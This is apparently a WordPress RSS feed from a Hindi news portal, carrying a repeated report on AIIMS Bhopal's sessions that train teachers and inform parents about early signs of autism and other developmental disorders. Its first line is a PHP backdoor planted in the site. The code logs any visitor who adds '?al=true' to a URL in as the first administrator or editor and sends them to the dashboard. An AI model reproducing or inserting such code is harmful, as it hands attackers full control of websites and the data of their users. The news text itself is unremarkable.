// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); New Initiative: – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 19 Mar 2026 17:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 AIIMS भोपाल की नई पहल: अब बच्चों में आसानी से पहचान सकेंगे ऑटिज्म के लक्षण, टीचर्स को ट्रेनिंग https://pratyushaashakinayikiran.com/?p=206199 Thu, 19 Mar 2026 17:15:00 +0000 https://pratyushaashakinayikiran.com/?p=206199 भोपाल

एम्स भोपाल के शिशु रोग विभाग द्वारा आयोजित एक कार्यक्रम में ऑटिज्म, बौद्धिक दिव्यांगता और सेरेब्रल पाल्सी जैसे न्यूरो-विकास संबंधी विकारों की समय पर पहचान और उनके उपचार पर जोर दिया गया।

विशेषज्ञों का मानना है कि यदि इन समस्याओं को शुरुआती दौर में ही पहचान लिया जाए, तो बच्चों के जीवन की गुणवत्ता में क्रांतिकारी सुधार लाया जा सकता है।
शिक्षकों के लिए विशेष प्रशिक्षण सत्र

एम्स की टीम ने बागसेवनिया स्थित एनआरआई ग्लोबल डिस्कवरी स्कूल में शिक्षकों के लिए एक विशेष सत्र आयोजित किया। इसमें शिक्षकों को बताया गया कि वे क्लास में स्पेसिफिक लर्निंग डिसएबिलिटी (सीखने में कठिनाई) और ऑटिज्म से ग्रसित बच्चों की पहचान कैसे करें।

शिक्षकों को स्क्रीनिंग के आधुनिक तरीकों की जानकारी दी गई ताकि प्रभावित बच्चों को समय पर डॉक्टरी मदद मिल सके।
अभिभावकों से संवाद और कानूनी अधिकारों की जानकारी

एम्स की शिशु रोग ओपीडी में आयोजित सत्र में विभागाध्यक्ष प्रो. डॉ. शिखा मलिक, डॉ. कीर्ति स्वर्णकर और सपना मौर्य ने अभिभावकों से सीधा संवाद किया।

विशेषज्ञों ने बच्चों में दिखने वाले उन चेतावनी संकेतों के बारे में बताया जिन्हें अक्सर माता-पिता सामान्य समझकर नजरअंदाज कर देते हैं। इस दौरान अभिभावकों को दिव्यांगजनों के कानूनी अधिकारों और सरकार द्वारा चलाई जा रही कल्याणकारी योजनाओं की जानकारी भी दी गई।

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AIIMS भोपाल की नई पहल: अब बच्चों में आसानी से पहचान सकेंगे ऑटिज्म के लक्षण, टीचर्स को ट्रेनिंग https://pratyushaashakinayikiran.com/?p=206200 Thu, 19 Mar 2026 17:15:00 +0000 https://pratyushaashakinayikiran.com/?p=206200 भोपाल

एम्स भोपाल के शिशु रोग विभाग द्वारा आयोजित एक कार्यक्रम में ऑटिज्म, बौद्धिक दिव्यांगता और सेरेब्रल पाल्सी जैसे न्यूरो-विकास संबंधी विकारों की समय पर पहचान और उनके उपचार पर जोर दिया गया।

विशेषज्ञों का मानना है कि यदि इन समस्याओं को शुरुआती दौर में ही पहचान लिया जाए, तो बच्चों के जीवन की गुणवत्ता में क्रांतिकारी सुधार लाया जा सकता है।
शिक्षकों के लिए विशेष प्रशिक्षण सत्र

एम्स की टीम ने बागसेवनिया स्थित एनआरआई ग्लोबल डिस्कवरी स्कूल में शिक्षकों के लिए एक विशेष सत्र आयोजित किया। इसमें शिक्षकों को बताया गया कि वे क्लास में स्पेसिफिक लर्निंग डिसएबिलिटी (सीखने में कठिनाई) और ऑटिज्म से ग्रसित बच्चों की पहचान कैसे करें।

शिक्षकों को स्क्रीनिंग के आधुनिक तरीकों की जानकारी दी गई ताकि प्रभावित बच्चों को समय पर डॉक्टरी मदद मिल सके।
अभिभावकों से संवाद और कानूनी अधिकारों की जानकारी

एम्स की शिशु रोग ओपीडी में आयोजित सत्र में विभागाध्यक्ष प्रो. डॉ. शिखा मलिक, डॉ. कीर्ति स्वर्णकर और सपना मौर्य ने अभिभावकों से सीधा संवाद किया।

विशेषज्ञों ने बच्चों में दिखने वाले उन चेतावनी संकेतों के बारे में बताया जिन्हें अक्सर माता-पिता सामान्य समझकर नजरअंदाज कर देते हैं। इस दौरान अभिभावकों को दिव्यांगजनों के कानूनी अधिकारों और सरकार द्वारा चलाई जा रही कल्याणकारी योजनाओं की जानकारी भी दी गई।

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